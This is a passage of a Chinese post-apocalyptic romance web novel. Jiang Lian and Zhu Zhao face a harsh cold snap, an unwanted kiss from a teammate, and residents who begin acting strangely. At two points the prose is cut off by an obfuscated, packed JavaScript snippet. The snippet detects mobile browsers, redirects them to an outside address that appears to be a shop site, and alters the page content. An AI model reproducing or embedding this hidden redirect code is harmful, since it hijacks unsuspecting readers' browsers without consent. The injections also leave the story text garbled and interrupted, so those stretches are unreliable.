保护她,就是在保护那一点点尚未熄灭的微光,就是在等待某种他自己都不相信会出现的救援。 江敛已经完全不记得自己坚持了多久。几天?几个月?甚至有可能更多。 想跟她一同出去,或者说,牺牲自己也要让她活着出去。当时的江敛似乎是这么想着 “江敛?” 守卫的声音把他拉回现实。 那位面容沧桑的老兵疑惑地看着他,随即顺着他的目光望向祝昭,了然地笑了笑:“担心那丫头?放心,在咱们这儿安全得很。”守卫拍了拍他肩甲上的磨损痕迹,语气带着在巢穴待久了的人才会有的那种,“待会儿你带她熟悉环境的时候,多照顾点。” 江敛迅速收回目光,重新聚焦在守卫脸上。 “李哥,我在听任务明细。”他声音透露着无奈,仿佛刚才的走神从未发生。 —— 那次引导任务之后,祝昭似乎就摸清了江敛在巢穴里的行动规律。 某次在去往水房打水的路上,她抱着那个与她身形不太匹配的、略显笨重的空水壶,状似无意地问起他平时的休息时间喜欢去哪里放松和对他来说比较有趣的几个区域。 祝昭的问题问得随意,眼睛却亮晶晶的,带着不易察觉的期待。 江敛当时正要去技术部提交一份日常巡查记录,只当这是祝昭对巢穴的好奇,便简洁地给出了几个关键地点和时间段。 直到后来,他开始频繁地在这些他自己亲口说出的路线上“偶遇”她。 有时是在通往技术部的那条安静通道,她正好从对面走来,手里拿着不知道从哪儿换来的、包装纸有些褪色的水果硬糖,会像展示珍宝一样,双手捧着,分给他一颗。 有时是在交接班后前往食堂的岔路口,她像是算准了时间等在那里,额发被汗水黏在光洁的额角,兴高采烈地跟他分享今天巡逻时看到的趣事——比如某只胆子特别大、敢在守卫脚边打转、偷啃物资箱角落的变异灰鼠,引得守卫哭笑不得;或是某个阳光偶尔能透进来的通风口下方,一株顽强地从金属缝隙里钻出来的、叫不出名字的嫩绿色小芽,被她用捡来的小瓶子偷偷养了起来。 “我今天刚捡到它,还跟陈哲说了那棵小草,他还笑话我,说这东西指不定哪天就变异了,让我赶紧扔掉。我哪像是那种分不清变异植物的笨蛋!” 她撇撇嘴,随即又笑起来,琥珀色的眼睛在昏暗光线下显得格外明亮。 “我才不扔呢,今晚我就拿给你看看!我一定要把它养的健健康康的!” 她身上那套领到的标准制服似乎总也穿不熨帖,肩线歪着,或是袖口卷得一边高一边低,带着她特有的、不拘小节的活力。与巢穴里一些看上去就邋里邋遢的人完全不同。 这身打扮在她执行内部巡逻任务时尤其显眼,好在内部巡逻多在相对安全的巢穴核心区域,要求不像外部巡逻那么严苛。 江敛大多时候只是听着,偶尔在她话语的间隙给出简短的回应。 “嗯。” “知道了。” “小心点。” 像是对着清单核对项目,精准,必要,没有多余延伸,不会给她多余的负担。 但他也会在她描述那株绿芽具体位置时,补充一句,语气依旧平淡。 “那个区域靠近旧通风管道接口,结构可能不稳定,别单独过去太久。” 或者,在她又一次因为奔跑而让制服看起来更凌乱时,提醒道。 “你的袖口,右边,没扣好。被巡查看到会扣分。” 内部巡逻队的工作琐碎而重复,主要是维护巢穴内部秩序,检查基础设施运行,防范内部盗窃或冲突。 祝昭似乎很快适应了这份工作,并且总能从中找到一点乐趣。 她提到队友陈哲的次数渐渐多了起来,那个听起来爽朗又有点冒失的年轻人。 江敛还没有真正的接触陈哲,但第一次的见面,陈哲就给他留下了不太好的印象。 “陈哲今天差点跟仓储那边的人吵起来,就为了多领半卷绷带,他说我们巡逻队磨损大……”她絮 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习惯在走过那个拐角时,目光会下意识地提前扫过前方;习惯在嘈杂的食堂里,能轻易分辨出她带着笑意的说话声;甚至习惯了她时不时递过来的、那些带着旧时代甜腻味道的小零食,虽然他总是沉默地接过,然后揣进口袋。 他开始注意到她巡逻靴的鞋带总是系得不够紧,注意到她兴奋时语速会变得更快,注意到她提到已故的前队友时,眼中一闪而过的黯淡,以及迅速被她用其他话题掩盖过去的坚强。 这些细节,无关生存,无关效率,却像涓涓细流,悄无声息地渗透进他按部就班的生活。 江敛依旧话不多,回应也依旧简洁。 但某些东西,就像地下深处缓慢渗出的水滴,无声地改变着岩石的形态。 江敛并未刻意寻找,却也不再抗拒这条既定轨迹上的小小变数。 那簇跳动的、温暖的火焰,总在不经意间,闯入他严谨而灰暗的视界,留下一点难以忽视的亮色。 技术部的房间弥漫着仪器运转的低沉嗡鸣。 江敛坐在分配的终端前,屏幕冷光映照着他专注的侧脸。他刚完成今日巡查报告的归档——C区东侧通道新增三处渗水标记,B7区备用发电机异响待检。 他刚完成今日巡查报告的归档,指尖敲下最后一行记录时,他习惯性调取了外部环境监测数据。 这就像闲暇时顺一下手边小猫的毛一样,是江敛的一种消遣方式。 然而今天,平滑滚动的数据曲线让他停顿了。 外部气温数值在七十二小时内呈现近乎直线的下降,湿度读数同步攀升,这种精确到刻板的同步性,与自然气候的波动规律截然不同。 江敛调出三个不同方位监测点的数据进行交叉验证,排除了设备故障的可能。 这种异常模式让他想起数据风暴来临前的某种预兆——不是混乱,而是某种更庞大的系统正在重新校准的冰冷秩序。 他迅速将异常数据段截取下来,附上简要分析,通过内部流程提交给气候监测岗。 回复来得很快:“数据已确认。启动二级应急响应。所有巡逻队取消轮休,后勤部即刻开始配发防寒物资。” 完成手头上的工作后,江敛关闭终端,起身整理桌面,脑海里已开始自动规划:个人储备需优先补充高热量食物和保暖贴,巡逻队配给的制热包需要额外申请,几个通往出口的次要通道防风闸必须立刻检查密封性。 返回宿舍的通道比平日嘈杂。 江敛看到后勤队伍推着满载物资的推车匆匆赶往仓储区,方向是防寒装备库。 空气中飘着焊接金属的焦糊味,似乎有人在紧急加固某些通风结构。 走到C区广场时,他看到祝昭所在的巡逻队正在集合。 祝昭踮着脚在队伍中张望,接过外套时差点被过长的袖子绊倒。 后勤部负责广播的女声正在播报防寒的注意事项,以及各项物资的领取地,并安抚妇女儿童和老人的心态。 回到宿舍的江敛一边清点着自己的攒下来的物资,一边思考如何帮助祝昭渡过寒潮。在之前和祝昭,沈悬衡他们一同赶路的时候,祝昭体现出了怕冷的体质。 这么想着,江敛的房门被“砰”的一声打开了,江敛惊得差点打翻刚到出来热水的热水杯。 祝昭站在门口,大口喘着气,被风吹乱的马尾在她脑后恣意地跳着华尔兹。 “江敛!” 她的声音清透,与外面的嘈杂声完全隔开,轻而易举的撞进江敛的耳畔。 “下,下雪了!” 25. 冻死我得了 “江敛!下,下雪了!” “先去领东西。” 江敛当机立断,把水杯放平稳,接过祝昭手上没来得及放好的巡逻队装备放到桌子上,打开衣柜把还未拆封的新外套拆出来递给祝昭,自己则穿上搭在椅背上的外套。 通道里比平时混乱数倍。 有人抱着厚重的衣物匆匆往回赶,有人还在拼命往前挤,孩子的哭闹、推搡间的争吵和守卫维持秩序的吼声混杂在一起,与窗外愈发狂暴的风雪声交织成末日降临般的嘈杂乐章。 祝昭裹紧身上明显大了一号、还带着江敛身上淡淡气息的外套,紧紧跟在江敛身后,下意识地攥住了他外套的一角。 “别走散。” 江敛回头看了她一眼,反手轻轻握住她的手腕,带着她在拥挤的人流中穿行。 他的手掌很稳,温度透过布料传来,让祝昭因突如其来的风雪而慌乱的心稍稍安定下来。 物资发放点已经排起了长队,人们脸上写满了焦虑。 等待的间隙,祝昭小声跟江敛聊着天。 “唐队长说我已经适应了工作内容和工作环境,所以把我编入了其他更适合我的内部巡逻队,不过还是归她管。现在主要任务变成协助维持各区域秩序,还有检查供暖管道。” 她说话时,呼出的白气在空气中迅速消散。 江敛安静地听着,目光始终警惕地扫视着周围。 就在这时,陈哲从侧面挤了过来。 他看起来刚从巡逻岗位上下来,制服还算整齐,只是额角带着汗,呼吸有些急促。 “祝昭!”他语气急切,“我正要找你!刚刚接到通知,我们区被划到西侧隔离带了,接下来可能要实行分区封闭管理。” “我知道了,”祝昭若有所思地点点头,“谢谢你来告诉我。” 陈哲看着她平静接受的样子,像是松了口气,又像是有点不甘心这份告别太过平淡。 他忽然毫无征兆地凑近,飞快地在祝昭左脸颊上亲了一下。 “照顾好自己!” 那触感一瞬即逝,留下一点陌生的、令人不适的温热。 祝昭猛地瞪大眼睛,下意识地不是摸向脸颊,而是立刻抬起胳膊,用力扯出自己里面衣服的袖口,狠狠擦向被亲到的地方——她可不想把这感觉留在江敛的外套上。 祝昭的脸颊迅速涨红,她刚想开口,陈哲却已经干脆地转身,几下就消失在混乱的人潮里。 留下祝昭还僵在原地,维持着用自己袖子擦脸的姿势,脑子里嗡嗡作响。 排队的人群还在向前缓慢移动,周围的喧嚣仿佛都隔了一层膜,只有被亲过的皮肤还在隐隐发烫。 她下意识地往江敛身边靠了靠,小声嘟囔:“这算什么啊……” 这小子想打架吗?! 前面的队伍又往前移动了几步,江敛轻轻拉了她一下,示意该往前走了。 他的表情依旧平静,只是握着她的手稍稍收紧了些。 江敛拉着她往前挪了几步,直到两人的位置堪堪卡在队伍中间,才松开手。 他的动作很自然,仿佛只是为了防止被人流冲散。 但他的视线越过祝昭的头顶,精准地捕捉到了陈哲在消失在人群拐角前,特意回望的那一眼——那眼神里毫不掩饰的得意,以及落在他身上时、清晰无比的挑衅。 江敛的眉头几不可查地蹙了一下,他不动声色地收回目光,将这些不必要的情绪波动压了下去。 祝昭没太在意他这细微的变化,她现在满脑子都是刚才那个莫名其妙的触感。 祝昭忍不住又用力擦了擦脸颊,好像这样就能把那种不舒服的感觉彻底抹掉。 “他干什么啊……” 祝昭小声嘟囔,这次语气里带上了明显的气恼,转头看向江敛,眉头拧得紧紧的。 “一声不吭就……就凑过来!很吓人好不好!” 她越说越觉得憋屈,声音不自觉地提高了一些,引得前面排队的人回头看了一眼。 祝昭立刻压低声音,但语速更快了,带着一种被冒犯后的烦躁。 “我跟他又不熟!就是普通队友,被安排到不同队伍以后,平时也就交接班说几句话……他凭什么觉得可以这样?” 祝昭扯了扯身上江敛那件宽大的外套,仿佛想把自己裹得更紧些,嘴里还在继续絮叨。 “而且干嘛非要挑这种时候?这么多人看着……莫名其妙!” 她用力踢了一下脚边并不存在的石子,脸颊还因为气愤和刚才的用力擦拭泛着红。 江敛安静地听着她连珠炮似的抱怨,没有打断。 直到祝昭稍微停下来喘口气,他才收回目光,重新看向她。 江敛的表情已经恢复了惯常的平静,只是眼神里似乎掠过一丝极淡的、类似于“果然如此”的了然。 他没有回答祝昭“他这是干什么”的问题,反而在她气鼓鼓的注视下,伸手轻轻拂开她依然无意识抵在脸颊旁的袖子,语气平淡地提醒:“领到物资了。” 祝昭这才发现队伍已经排到了他们。 她连忙收敛心神,上前接过后勤部递来的,属于自己的物资包,沉甸甸的分量让她稍微冷静了一点。 他们抱着物资挤出人群,周围稍微空旷了些。 祝昭很自然地拿过江敛手里的物资包,江敛率先朝着宿舍区的方向走去。 祝昭觉得江敛的手很宝贵,毕竟他是技术部的,不能来搬重物。江敛也反对过,但是实在拗不过祝昭,只得妥协。 祝昭跟在江敛身侧,沉默地走了一小段,那股无名火还没完全消下去,忍不住又旧事重提: “江敛,你说他到底什么意思嘛?” 她侧头看他,眼神里是真切的困惑和不满。 “我看起来很好欺负吗?还是他觉得这样很……了不起?”她实在找不出合适的词来形容这种让她极其反感的行为。 江敛的脚步没有停,目光平视着前方被应急灯照得明暗不定的通道。 他抿了抿唇,似乎在斟酌用词,过了一会儿才开口,声音不高,却清晰地传入她耳中:“他在标记领地。” 祝昭愣了一下:“啊?” 陈哲是小狗吗?? “或者说,”江敛侧过头,目光在她依然泛着可疑红晕的左颊上一扫而过,语气依旧没什么波澜,“试图用这种方式,让你记住他。在分区之前。” 这个解释直接又冷酷,像一把手术刀剖开了陈哲行为下可能隐藏的意图。 祝昭张了张嘴,想反驳,却发现江敛的话意外地有说服力。 她回想起陈哲平时看她时那种过于热切的眼神,以及偶尔会说的、有些越界的话…… 一股更深的厌恶感涌了上来。 “谁要他这样让我记住啊!”她几乎要跳起来,声音里带着被点醒后的羞恼,“这个人真是……” 她气得不知道该怎么形容,憋了半天,才愤愤地总结道。 “不可理喻!” 祝昭快走两步,赶到江敛前面,转过身面对着他,一边倒退着走路,一边看着他,眼神里带着点探究和不解。 “那你……你刚才也看到了,怎么都不拦一下?或者……说他两句?” 江敛看着她因为倒退而有些踉跄的脚步,伸手虚扶了一下她的胳膊,确保她不会撞到后面的行人,然后才抬眼迎上她的视线。 他的眼神平静无波,甚至带着点理所当然。 “你跑得比我快。”他陈述道,语气里听不出什么情绪,“在回廊的时候。” 祝昭一时没反应过来这两者之间有什么关联,眨着眼睛看他。 江敛继续平静地补充,目光落在她脸上,带着一种洞悉一切的了然。 “而且,你刚才擦脸的动作,比我说什么都有用。” 祝昭怔住了。 她看着江敛那双平静的眼睛,突然明白过来——他不出声,不是因为漠不关心或默许,而是他清楚地看到了她最直接、最真实的排斥反应,并且认为这本身就足够了。 他相信她能表达自己的态度,也尊重她本能给出的答案。 这种被信任、被“看”懂的感觉,冲散了她刚才的些许气恼,心里泛起一点奇异的、被支持着的踏实感。 但这感觉随即被另一种情绪覆盖——一种“怎么又被他抢先看穿”的、带着点不服气的嘀咕。 祝昭撇了撇嘴,小声抱怨:“……那你也不能光看着啊。” 语气里少了气愤,多了点自己都没察觉到的、类似于在可靠同伴面前才会流露的傲娇感。 “你再不好好走路,就要带着我们两个这几个月的过冬物资一起摔成倒栽葱了”江敛无奈的叹道,伸出手把不安分的祝昭强行掰回正轨。 祝昭吐了吐舌头,乖乖的走在江敛身旁,没再说什么。 “你要是在开春后还是气不过,可以回去找他麻烦。” “……原来你还有腹黑的一面吗。” 入冬后的一个月,巢穴内部的生活逐渐在严寒中形成新的节奏。 祝昭裹着防寒物资发下来的厚外套,和他并肩走在前往食堂的主通道里。 供暖系统全力运转,但空气里依然飘着驱不散的寒意,呵出的白气模糊了视线。 “听说今天有蔬菜汤,”祝昭边走边搓着手,语气里带着点期待,“陈姨偷偷告诉我,里面真的放了干菜叶,不是以前那种只有咸味的刷锅水。” “好——久没有吃到绿叶菜了,好怀念啊……感觉再不吃,我的手就要起皮了。” 祝昭眼里冒着光,像准备偷到奶酪的老鼠杰瑞。 “医疗部发的维生素片,你是不是又偷偷塞给我了。” “……真的很难吃嘛。” 江敛轻笑了一声,目光习惯性地扫视着通道两侧。 应急照明比往常更亮了些,映出墙壁上凝结的薄霜。 “要是真有干菜叶,我那份也给你。”江敛一边留意着周围的动静,一边对身旁搓着手的祝昭说道。 “真的?那可说好了!”祝昭眼睛一亮,立刻来了精神,跟着他拐进了食堂所在的通道。 食堂里比外面暖和不少,混杂着食物蒸腾的热气和人群的体味。 他们排在队伍末尾,随着人流缓慢向前移动。 “今天人好像特别多。”祝昭踮着脚往前看了看。 “嗯,降温了,消耗大。”。 轮到他们时,祝昭迫不及待地探头去看汤桶。浅色的汤水里,果然稀疏地漂着些暗绿色的片状物。 “真的有!”她小声欢呼,赶紧递上自己的汤碗。 打饭的阿姨舀了一勺,几片可怜的菜叶子混在汤水里落入碗中。 轮到江敛,他依言将自己餐盘里的那几片菜叶子全数拨到了祝昭盘子里那寥寥无几的“存货”上。 “哇!”祝昭看着自己盘子里顿时显得“丰盛”起来的菜叶子,笑得眼睛弯弯,“江敛你真好!” 江敛没说什么,只是端起自己的餐盘,用目光示意她跟上,两人在嘈杂的食堂里找了个相对安静的角落坐下。 祝昭小心翼翼地用筷子将那些菜叶子聚拢,然后心满意足地一口吃掉,眯起眼品味着那点微弱的甜味。 江敛看着她孩子气的动作,低头喝了一口自己那份寡淡的汤。 “要是每天都有就好了。”祝昭吃完,看着空了的盘子,有点意犹未尽。 “嗯。”江敛已经吃完了自己那份,正在慢条斯理地喝着水,“等开春,也许可以试试在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647182|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 废弃的通风管道里弄个小培养槽。” “你会弄那个?”祝昭惊讶。 “原理不难。”江敛语气平淡。 这句话莫名戳中了祝昭的笑点,正要再说些什么,江敛却已经站起身:“走吧,回去还有数据要整理。” “哦,好。”祝昭连忙跟着站起来,收拾好餐具。 两人将餐盘放到回收处,随着人流再次走入寒冷的通道。 刚从相对温暖的食堂出来,寒意扑面而来,祝昭忍不住缩了缩脖子。 就在他们即将穿过中央广场的枢纽口时,前方突然爆发出激烈的争吵声,紧接着是物品摔碎的脆响和人群的惊叫。 “放开我!你们这些怪物——!” 只见广场中央,一个男人正发狂地挥舞着手臂,试图攻击身边试图按住他的两名守卫。 他的眼睛布满血丝,眼神空洞却又充满戾气,动作僵硬得不自然,力气却大得惊人,竟将一名训练有素的守卫猛地推开。 周围的人群惊慌地退开,形成一个不规则的圆圈。 更多的守卫从不同方向跑来,试图控制住局面。 祝昭的脚步猛地顿住,下意识地抓住了江敛的手臂,把他往身后拉。她的目光紧紧锁定在那个发狂的男人脸上,眉头蹙起。 “江敛,”她声音压得很低,带着一丝不易察觉的紧绷,“那个人……我前天在工具房外面见过。他当时还好好的,在帮王婶搬东西,还跟我打了招呼。” 就在祝昭说话间,那名发狂的男子被几名守卫合力按倒在地,但他仍在嘶吼挣扎,脖颈青筋暴起,嘴里反复喊着含糊不清的词句。 祝昭的视线快速扫过周围惊恐或麻木的脸,忽然注意到不远处还有另一个蜷缩在角落的人。 那人双手抱头,身体微微发抖,偶尔抬起头时,露出的眼神里带着与广场中央那人相似的空洞。 “不止一个,”她扯了扯江敛的袖子,示意他看向那个角落,语气更加凝重,“你看那边。这不对劲。” 江敛顺着她的目光看去,面色沉静,但眼神锐利了许多。 他没有立刻上前,而是将祝昭往自己身侧带了带,远离那片混乱的中心。 骚动最终被迅速赶来的,配备更多防护的守卫小队平息下去。 发狂的男人和那个角落里的异常者都被迅速带离了广场,撤离的方向是医疗部,只留下满地狼藉和一片压抑的窃窃私语。 守卫开始疏散人群,催促大家不要聚集。 祝昭原本是护着江敛的姿势,被人流挤得变成了江敛护着祝昭。 ……以后一定要好好吃钙片长高。 他们随着人流走向宿舍的方向,直到离开广场一段距离,周围嘈杂稍减,祝昭才忍不住抬头看他,眼底还残留着未散的惊疑。 “他们……是怎么回事?”她轻声问,脑海里反复回放着那两人异常的眼神和状态,“像中了邪一样。” 江敛摇了摇头,表示暂时无法确定。 他的目光掠过通道顶部那些维持着巢穴运转的管线,声音低沉:“先回去休息吧。” “嗯……” 广场骚动过去几天后,寒意愈发刺骨。 祝昭站在房间门口,双手捧着个冒着热气的杯子,和邻居王婶有一搭没一搭地聊着。 王婶搓着手呵气,朝冻得发红的手心里哈着白气:“这鬼天气,都冷到骨头缝里去了。我听说啊,从明天开始,每天的供暖时间还得再缩短两小时。” “真的啊?” 祝昭被这话引得打了个哆嗦,下意识地用双手更紧地捧住手里还有些烫手的杯子。 “那以后晚上可更难熬了。我现在就总觉得手脚冰凉,在宿舍里坐着都要裹毯子,睡前泡脚都不管用。” “可不是嘛,”王婶感同身受地点点头,目光落在祝昭捧着的杯子上,“哟,这喝的是什么?黑乎乎的,还冒着热气呢。” 一丝甜暖顺着喉咙滑下,让祝昭满足地眯起了眼。 “这个叫热可可!江敛看我这两天总缩着脖子喊冷,刚才特意用他攒的可可粉给我泡了一杯,说是让我喝完暖暖身子再回房间。现在这点热乎气儿可真成了宝贝。” 她说着,语气里带着感激,也有一丝对日益匮乏的物资的担忧。 “唉,可不是宝贝嘛,”王婶叹了口气,话头转到了物资上,“我正想跟你说呢,听说不止供暖,接下来食物的配给额度可能也要调整了……” 就在王婶继续念叨配给制时,她的声音突然卡住了。 不是被打断的那种停顿,而是像被掐断了线般戛然而止。 祝昭敏锐地注意到王婶眼神瞬间放空,虽然只有一两秒就恢复如常,但那一刹那的异常已在她心中敲响警钟。 她想起了之前广场上那个发狂的人,祝昭心头一紧。 她毫不犹豫地将杯中滚烫的可可一饮而尽,灼热的液体烫得舌头发麻。 “这杯子我得赶紧给江敛送回去了,他就一个杯子能喝水呢,我得赶紧洗干净还给他。” 祝昭将空杯子往王婶面前一晃,脸上展现出一个再自然不过的笑。 王婶温和地点头:“快去吧,别让小江等太久了。” 祝昭笑着道别,转身往江敛房间走去。 她尽量迈着轻松的步子,却总觉得后背上黏上了一道灼热的视线,几乎要把她盯穿。 短短几步路,走得祝昭后背发凉。 明明就几步路的距离,今天怎么感觉越走越远? 祝昭终于见到了熟悉的房间门,她颤抖着伸出手,在江敛房门上敲了三下。 “江……” 还没等祝昭拧动门把,一只温热的手已经轻轻搭上了她的肩膀,把她的话语硬生生扼杀在喉咙里。 26. 比严冬更为刺骨的东西 王婶温热的手掌搭上肩膀的瞬间,祝昭感觉像被一块烧红的烙铁烫了一下,寒意却从脊椎骨猛地窜上来。 她到底想做什么? 这个念头如同警报在脑中尖啸。 是单纯的关心,还是……某种试探? 祝昭的视线不由自主地锁定了肩头那只布满细纹的手,每一道纹路在此刻都显得格外清晰,仿佛带着某种不为人知的意图。 她能感觉到王婶掌心传来的、略高于常人的温度,以及那看似随意搭放,实则隐含力道的指尖。 心脏在胸腔里撞得生疼,每一次擂动都震得耳膜嗡嗡作响。 必须冷静,不能让她看出破绽。 祝昭强迫自己松弛下瞬间绷紧的肩颈肌肉,绝不能流露出一丝一毫的僵硬或抗拒。 她调动起脸上所有能控制的肌肉,缓缓转过身,努力让嘴角上扬的弧度显得自然,甚至带着点被打扰后的茫然。 “王、王婶?” 声音出口,带着一丝连她自己都差点没察觉的微哑,她立刻清了清嗓子,“您还有事?” 王婶的手依然稳稳地搁在她肩上,那份温热如同附骨之疽。 那张熟悉的脸上笑容依旧和蔼,但祝昭的目光却像最精细的探针,飞速扫描着对方眼底、嘴角每一丝最细微的波动,试图从中解读出隐藏的信息。 “瞧你这孩子,跑这么快做什么。”王婶的语气带着惯常的亲昵,“我是看你这小身板,总跟冰块似的,想着跟你说个暖和的土法子。” 来了。 祝昭心里一紧,但脸上立刻配合地流露出恰到好处的好奇,微微睁大了眼睛:“什么法子呀?” 她让自己的声音听起来充满期待,仿佛全部的注意力都被这个话题吸引。 “睡觉前啊,用热点儿的水泡泡脚,水里要是能找着点老姜片,搓点屑下去就更好了。” 王婶压低了声音,像是在分享什么不得了的秘诀,身体也微微前倾。 这个靠近的动作让祝昭的呼吸几不可查地一滞,她克制住了向后缩的本能。 “还有啊,”王婶继续说着,空着的那只手比划着,“把穿旧的毛衣袖子剪一截,套在这儿,”她指了指手腕,“干活的时候,风就钻不进袖口了。” 都是些在物资匮乏的当下显得格外贴心又实用的建议。 越是正常,越显得刚才那瞬间的停顿不正常。 祝昭心念电转,脸上的笑容却愈发显得感激,她甚至用力点了点头,让几缕碎发从耳畔滑落,增添几分不经意的自然。 “知道啦!谢谢王婶!您可真跟我妈一样,总操心我这些小事儿。” 她边说,边借着点头和理顺头发的动作,肩膀以一个极其微小的角度轻轻一旋,像是无意识地调整站姿,实则巧妙地让肩头从那温热的手掌下滑脱出来。 动作流畅自然,没有一丝刻意。 几乎在脱离接触的同一瞬间,她的背在身后摸索的手终于握紧了门把手。 冰凉的金属触感传来,让她狂跳的心稍微安定了一瞬。 咔哒一声,房门应声裂开一道缝隙。 祝昭像一尾终于找到岩石缝隙的游鱼,迅速侧身,敏捷地钻了进去,整个过程快得只留下一道残影。 她只留半个身子还探在门外,一只手紧紧握着门内侧的把手,指节因用力而微微发白,仿佛那是连接安全世界的唯一纽带。 “那我先进去啦,江敛还等着杯子呢!” 她朝王婶扬了扬另一只手里的空杯,脸上是平时那种毫无阴霾的、灿烂的笑容,语气轻快得像是什么都没发生过。 “明天见啊王婶!” “哎,明天……” 王婶的回应声被迅速截断。 “砰。” 一声不算重,却异常清晰的关门声,将门外那道依旧温和的视线,连同那令人不安的关切,彻底隔绝。 祝昭的后背重重靠在冰凉的门板上,脱力般地滑下去一小截,这才发现,自己握着门把的手,正在不受控制地微微颤抖。 门板冰冷的触感从后背传来,祝昭紧绷的神经才像被剪断的皮筋,猛地松弛下来。 她靠着门,缓缓滑坐在地上,大口喘着气,仿佛刚刚经历了一场生死搏斗。 房间里只亮着一盏昏暗的台灯,江敛从堆满数据资料的桌前站起身。 他显然听到了门外的对话和那声不轻不重的关门声。 “怎么了?”他走到她面前,蹲下身,声音一如既往的平稳,但目光锐利地扫过她苍白的脸和仍在微颤的手指。 安全的环境和值得信赖的人就在眼前,祝昭强撑的镇定瞬间瓦解。 她抓住江敛的胳膊,语速又快又急,几乎不带停顿地将刚才门外发生的事倒了出来——那只搭上肩膀的手,那些“暖心”的建议,尤其是那短暂却令人毛骨悚然的“停顿”和“空洞”。 “……她就那么看着我,眼神好像……好像突然断线了,然后又接上了!”她的声音带着自己都没察觉的颤抖,“我吓得魂都快没了!” 她越说越激动,直到一滴温热的液体毫无预兆地滴落在她紧紧攥着放在膝盖的手背上。 祝昭一愣,下意识地抬手去摸脸,指尖触到一片冰凉的湿意。 “我……我怎么哭了?”她喃喃道,语气里带着困惑。 然而这句话仿佛打开了某个开关,更多的泪水不受控制地涌了出来。 一想到王婶——那个会像阿和、老周,还有江敛一样,给予她亲人般温暖的王婶——也可能变成广场上那种失去理智的模样,巨大的恐慌和难过就攫住了她的心脏。 祝昭开始哽咽,一边用手背胡乱地擦着越流越凶的眼泪,一边断断续续地说。 “王婶她总是……总是偷偷省下糖块塞给我,说我巡逻辛苦,晚上回来晚了,还会给我留一口热汤……前两天还教我怎么用最少燃料把食物加热……王婶一直那么好,就像,就像家里人一样……” 越是这样回忆往昔的温暖,眼前的异常就越是让她恐惧。 “我…我好怕……王婶会不会,会不会也变成那样……” 终于,决堤的泪水伴随着祝昭的哭声倾泻出来。 她再也忍不住了,卸下了往日那开朗的面具,把自己最真实最脆弱的一面暴露在江敛面前。 “不要,不要离开我,拜托你们……” 江敛沉默地看着她,没有立刻说话。 他先是从抽屉里找出来一块干净的布巾递给祝昭,再把她扶到床上坐下休息,然后才开口,声音低沉而清晰。 “这种事情,可能不止发生在广场和王婶身上。”他引导着她,“除了今天,你之前还注意到王婶有其他不对劲的地方吗?任何细微的,和以前不一样的地方?” 祝昭用力摇头,泪水甩落在布巾上。 “没有……真的没有。就今天这一次,特别明显。” 她吸了吸鼻子,努力平复呼吸,忽然像是想起了什么,猛地抓住江敛的袖子。 “对了!沈悬衡姐姐……她离开巢穴前,特意提醒过我,说‘要相信值得信任的人,但也要学会用自己的眼睛去看’。她是不是……是不是那时候就察觉到了什么?” 江敛的目光骤然锐利起来。 “沈前辈的提醒……”他沉吟道,眉头微蹙,“她观察力很强,不会无的放矢。这个时间点很关键,说明问题可能比我们看到的更深。” 他看向祝昭,语气沉稳却带着不容置疑的力量。 “我们必须更小心。从现在起,对王婶,对任何看似‘正常’的人,都要保持警觉。” “嗯……嗯!” 看着她哭得通红的眼睛和止不住的哽咽,江敛的嘴唇抿成一条直线。 他似乎犹豫了一下,然后抬起手,动作有些僵硬地、轻轻拍了拍她的后背,一下,又一下,像在安抚一只受惊的小动物。 “别怕。”他说道,语气略显生硬,但其中的分量却不轻,“我会弄清楚。你在这里,很安全。” 江敛没有说更多安慰的话,但这笨拙的拍抚和简单的承诺,却像一块压舱石,让祝昭在情绪的风暴中,终于找到了一点可以依靠的力量。 祝昭吸了吸鼻子,努力想止住眼泪,却还是忍不住抽噎着。 不稍一会儿,祝昭的抽噎声渐渐平息,只剩下偶尔的吸气声。 江敛收回那只略显僵硬的手,起身用热水给祝昭又冲了杯热可可,然后坐回桌前前,指尖快速翻动,找出了一段记录。 “王婶的异常,让我想起刚回巢穴汇报时,内务部的王明远干事。” 江敛声音平稳,将当时的场景描述了一遍,重点提及了王明远那片刻的放空、干巴的语调,以及赵峰“没休息好”的解释。 “当时我只当作个例记录,但现在看来,这种‘断线’般的状态,可能并非偶然。” 祝昭捧着温热的水杯,指尖慢慢恢复了些血色,听得十分专注。 “至于陈哲,”江敛话锋一转,“我打听过。之前,他在其他人印象里就是个背景干净、能力普通的队员,并不起眼。他的‘活跃’,是在你来到我们这片区域之后才开始的。” 江敛看向祝昭,语气平淡地转述了打听来的结论。 “多数人认为,他是想追求你,才变得格外……积极。” “追求我?” 祝昭像是被什么扎了一下,差点跳起来,脸上露出混杂着嫌恶和不可思议的表情,使劲搓了搓胳膊。 “恶……谁会喜欢他那种咋咋呼呼、自以为是的类型啊。”她撇着嘴,不假思索地吐槽,“我喜欢的是那种……嗯,话不多,但很可靠,做事认真,让人安心的。” 祝昭说完,完全没意识到自己描述的对象就近在眼前,还自顾自地点了点头,确认着自己的标准。 江敛闻言,动作几不可查地顿了一下,目光落在祝昭脸上,仔细观察着她的表情,想判断她是否意有所指。 但在她脸上,他只看到了纯粹的、不掺任何杂念的吐槽和对自己审美的确认。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647183|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他微微抿唇,几不可闻地轻叹了一声,像是在无奈于她的迟钝,又像是在确认了什么。 “总之,陈哲的‘变化’是一个需要留意的点。” 